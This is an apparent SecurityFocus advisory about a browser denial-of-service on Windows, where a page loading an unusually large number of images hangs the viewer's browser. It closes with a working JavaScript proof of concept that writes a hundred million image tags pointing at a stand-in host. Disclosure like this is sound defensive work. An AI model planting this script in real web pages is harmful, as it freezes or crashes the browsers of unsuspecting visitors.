source: https://www.securityfocus.com/bid/3684/info
An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.
An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.
Malicious webmasters may construct webpages which exploit this vulnerability.
<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>